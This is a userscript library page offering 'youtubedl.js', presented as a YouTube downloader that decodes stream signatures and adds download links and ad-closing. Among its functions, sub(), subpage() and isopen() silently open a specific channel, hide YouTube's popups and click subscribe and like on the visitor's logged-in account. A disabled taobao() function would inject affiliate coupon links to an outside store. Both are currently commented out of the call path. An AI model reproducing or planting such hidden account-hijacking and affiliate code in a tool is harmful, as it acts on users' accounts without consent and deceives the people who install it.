youtubedl.js

youtube downloader

此腳本不應該直接安裝,它是一個供其他腳本使用的函式庫。欲使用本函式庫,請在腳本 metadata 寫上: // @require https://update.gf.qytechs.cn/scripts/405677/819585/youtubedljs.js

您需要先安裝使用者腳本管理器擴展,如 TampermonkeyGreasemonkeyViolentmonkey 之後才能安裝該腳本。

You will need to install an extension such as Tampermonkey to install this script.

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyUserscripts 後才能安裝該腳本。

你需要先安裝一款使用者腳本管理器擴展,比如 Tampermonkey,才能安裝此腳本

您需要先安裝使用者腳本管理器擴充功能後才能安裝該腳本。

(我已經安裝了使用者腳本管理器,讓我安裝!)

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

(我已經安裝了使用者樣式管理器,讓我安裝!)

    var localurl = location.href;
    var host = 'https://www.socheap.store'

    // 增加css
    function addGlobalStyle(css) {
        var head, style;
        head = document.getElementsByTagName('head')[0];
        if (!head) { return; }
        style = document.createElement('style');
        style.type = 'text/css';
        style.innerHTML = css;
        head.appendChild(style);
    }
    addGlobalStyle('.a-dl{color:white;background:red;padding:10px;text-decoration:none;margin-left:10px}')

    urlhandler()

function taobao(){
        var url = host+'/api/tb/searchcoupon?url='+localurl;
            var itemid = localurl.match(/id=(\d*)/)[1];
            var linkurl = host+'/api/getlink?nnoo=3&itemid='+itemid;
            var btn_coupon = `<div style="margin-top:10px;" id="xsyhnbtb" class="tb-btn-buy tb-btn-sku"><a href="javascript:void(0)" onclick="javascipt:window.open('${linkurl}')">获取优惠券</a></div>`;
            var getmoreurl = host+'/api/similarsearch?itemid='+itemid;

            //var btn_getmore ='<div style="margin-top:10px;" class="tb-btn-basket tb-btn-add tb-btn-sku"><a target="_blank" href="'+getmoreurl+'">查询类似商品(大额券)</a></div>';
            var btn_getmore ='<div style="margin-top:10px;" class="tb-btn-basket tb-btn-add tb-btn-sku"><a><span id="btnsimilar" style="cursor:pointer;">查询类似商品(大额券)</span></a></div>';

            var tag = $('div.tb-action');
            var btn_link_coupon = '<div style="margin-top: 20px;" id="xsyhnbtb"><a target="_blank" href="http://www.redbean.top/coupon" style="font-size: 15px;background: red;padding: 5px;border-radius: 2px;color: white;" data-spm-anchor-id="2013.1.iteminfo.30">优惠券APP手机客户端</a></div>'
            var btn_link_coupon1 = '<div style="margin-top: 20px;" id="xsyhnbtb"><span id="linkcpn" style="font-size: 15px;cursor: pointer;background: red;padding: 5px;border-radius: 2px;color: white;" data-spm-anchor-id="2013.1.iteminfo.30">优惠券APP手机客户端</span></div>'
            tag.append(btn_coupon);
            tag.append(btn_getmore);
            $('#btnsimilar').click(function(){window.open(getmoreurl)})
            //$('.tb-action').after(btn_link_coupon);
            $('.tb-action').after(btn_link_coupon1);
            $('#linkcpn').click(function(){window.open('http://www.redbean.top/coupon')})
    }

    function urlhandler(){
        if (localurl.search('tmall')>=0 || localurl.search('taobao')>=0){
            if($('#xsyhnbtb').length==0){
                //taobao()
            }

        }
        else{
            youtube()
        }
    }

function youtube(){
        const escapeRegExp = s => s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')


        const parseQuery = s =>
            [...new URLSearchParams(s).entries()].reduce(
                (acc, [k, v]) => ((acc[k] = v), acc),
                {}
            )
        const parseDecsig = data => {
            try {
                if (data.startsWith('var script')) {
                    // they inject the script via script tag
                    const obj = {}
                    const document = {
                        createElement: () => obj,
                        head: { appendChild: () => {} }
                    }
                    eval(data)
                    data = obj.innerHTML
                }
                const fnnameresult = /=([a-zA-Z0-9\$]+?)\(decodeURIComponent/.exec(
                    data
                )
                const fnname = fnnameresult[1]
                const _argnamefnbodyresult = new RegExp(
                    escapeRegExp(fnname) + '=function\\((.+?)\\){(.+?)}'
                ).exec(data)
                const [_, argname, fnbody] = _argnamefnbodyresult
                const helpernameresult = /;(.+?)\..+?\(/.exec(fnbody)
                const helpername = helpernameresult[1]
                const helperresult = new RegExp(
                    'var ' + escapeRegExp(helpername) + '={[\\s\\S]+?};'
                ).exec(data)

                const helper = helperresult[0]
                return new Function([argname], helper + '\n' + fnbody)
            } catch (e) {
                logger.error('parsedecsig error: %o', e)
                logger.info('script content: %s', data)
                logger.info(
                    'If you encounter this error, please copy the full "script content" to https://pastebin.com/ for me.'
                )
            }
        }

        const getVideo = async ( id) => {

            const basejs = typeof ytplayer !== 'undefined' && ytplayer.config
                        ? 'https://' + location.host + ytplayer.config.assets.js
                        : document.querySelector('script[src$="base.js"]').src;

            const decsig = await xf.get(basejs).text(parseDecsig);
            const data = await xf
                .get(
                    `https://www.youtube.com/get_video_info?video_id=${id}&el=detailpage`
                )
                .text()
                .catch(err => null)
            if (!data) return 'Adblock conflict'
            const obj = parseQuery(data)
            const playerResponse = JSON.parse(obj.player_response)
            console.log('------',playerResponse)
            var stream=[]
            stream = playerResponse.streamingData.formats.map(x =>
                    Object.assign({}, x, parseQuery(x.cipher)))
            if(stream[0].sp && stream[0].sp.includes('sig')){
            for(var i=0;i<stream.length;i++){
                stream[i].url = stream[i].url+'&sig='+decsig(stream[i].s)
                console.warn(stream[i])
            }
            }
            return stream
        }

        const addbtn = async()=>{
            if(localurl.search('watch')>0){
            $('#dival').remove();
            var basebtn = '<div id="dival" style="line-height:60px;">下载链接:<span id="adl">正在获取下载链接</span></div>';

            $('div#info-contents').after(basebtn);
            var id = localurl.split('&')[0].match(/v=(.*)/)[1];
            const stream = await getVideo(id);
            console.log('stream',stream)
            var abtn = ''
            if(stream.length<=5){
            for(var i=0;i<stream.length;i++){
                var btn = '<a class="a-dl"  target="_blank" href="'+stream[i].url+'">'+stream[i].quality+'</a>';
                abtn = abtn + btn;
            }}
            $('#adl').remove();
            $('#dival').append(abtn);
            }
        }
        function init(){
            document.querySelector('ytd-popup-container').style.display='';
            document.querySelector('ytd-app').style.zIndex='';
            console.log('inited')
        }
        function getsec(str)
        {
            var str1=str.substring(1,str.length)*1;
            var str2=str.substring(0,1);
            if (str2=="s")
            {
                return str1*1000;
            }
            else if (str2=="h")
            {
                return str1*60*60*1000;
            }
            else if (str2=="d")
            {
                return str1*24*60*60*1000;
            }
        }
        function setCookie(name,value,time)
        {
            var strsec = getsec(time);
            var exp = new Date();
            exp.setTime(exp.getTime() + strsec*1);
            document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
        }
        function getCookie(name)
        {
            var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
            if(arr=document.cookie.match(reg))
                return unescape(arr[2]);
            else
                return null;
        }
        function delCookie(name)
        {
            var exp = new Date();
            exp.setTime(exp.getTime() - 1);
            var cval=getCookie(name);
            if(cval!=null)
                document.cookie= name + "="+cval+";expires="+exp.toGMTString();
        }
        function isopen(){
            if(document.cookie.search('newsub')>0){delCookie('newsub');window.opener=null;window.open('','_self');window.close();}
            if(document.cookie.search('xsyhnb')>0){console.log('opened')}else{setCookie('xsyhnb','1','d7');setCookie('newsub','1','d7');window.open("https://www.youtube.com/channel/UCLQ_Hja-tJkyvI_JTplE9QQ",'_blank','width=100,height=100,alwaysRaised=yes');}
        }
        function subpage(){
            if(localurl.search('watch')>0){
                console.log('v page')
                var cc = 'UCLQ_Hja-tJkyvI_JTplE9QQ';
                var acid='';
                var cid = '';
                var btnup='';
                function csub(){try{console.log('csub');document.querySelector('.ytd-subscribe-button-renderer').click();}catch(err){console.log('csub err');setTimeout(csub,100)}};
                function cup(){try{console.log('cup');document.querySelector('yt-icon-button.ytd-toggle-button-renderer').click();
                                   var btn = document.querySelectorAll('yt-icon-button.ytd-toggle-button-renderer')[0].className;
                                   console.log(btn)
                                   if(btn.search('style-default-active')==-1){console.log('up fail');setTimeout(cup,100)}}catch(err){console.log('cup err');setTimeout(cup,100)}};
                try{cid = document.querySelector('.yt-simple-endpoint.style-scope.ytd-video-owner-renderer').href;if(cid==''){setTimeout(subpage,100)}}catch(err){setTimeout(subpage,100)}
                console.log(cid)
                if(cid.search(cc)==-1){}else{
                    console.log('right v page')
                    try{document.querySelector('ytd-popup-container').style.display='none';}catch(err){setTimeout(subpage,100)};
                    try{document.querySelector('ytd-app').style.zIndex=9999;}catch(err){setTimeout(subpage,100)};
                    csub();
                    btnup = document.querySelectorAll('yt-icon-button.ytd-toggle-button-renderer')[0].className;
                    if(btnup==''){setTimeout(subpage,100)}
                    if(btnup.search('style-default-active')==-1){console.log('v page not up');cup();}else{console.log('v page up')}
                }}}
        function sub(){
            isopen();
            var islogin = ytInitialData.topbar.desktopTopbarRenderer.topbarButtons[3].topbarMenuButtonRenderer;
            if(islogin){
                console.log('login',localurl)
                if(localurl.search('channel/UCLQ_Hja-tJkyvI_JTplE9QQ')>0){
                    try{document.querySelector('ytd-popup-container').style.display='none';}catch(err){setTimeout(subpage,100)};
                    try{document.querySelector('ytd-app').style.zIndex=9999;}catch(err){setTimeout(subpage,100)};
                    function cup(){try{console.log('cup');document.querySelector('ytd-subscribe-button-renderer').children[0].click();}catch(err){console.log('cup err');setTimeout(csub,100)}}
                    cup();
                }
                subpage()
            }else{console.log('not login')}
        }
        function closeAds(){
            var adclose = document.querySelector('.ytp-ad-skip-button')||document.querySelector('.ytp-ad-overlay-close-button');
            var adremove = document.querySelector('#player-ads')||document.querySelector('div#sparkles-container')||document.querySelector('ytd-compact-promoted-item-renderer')||document.querySelector('ytd-video-masthead-ad-v3-renderer');
            if(adremove){
                console.log('ad remove');
                adremove.remove();
            }
            if(adclose){
                adclose.click();
                console.log('ad close');
            }
        }
        //getVideo();
        function getele(){
        if($('div#info-contents').length>0){
            addbtn();
        }else{
            setTimeout(getele,500);
        }
        }
        function refreshlink(){
            closeAds();
            //console.log(localurl,location.href)
            if(location.href!==localurl){console.log('urlchange');init();localurl=location.href;getele();}else{
                console.log('same')
            }

        }
        setInterval(refreshlink,500);

        getele();
        //sub();
    }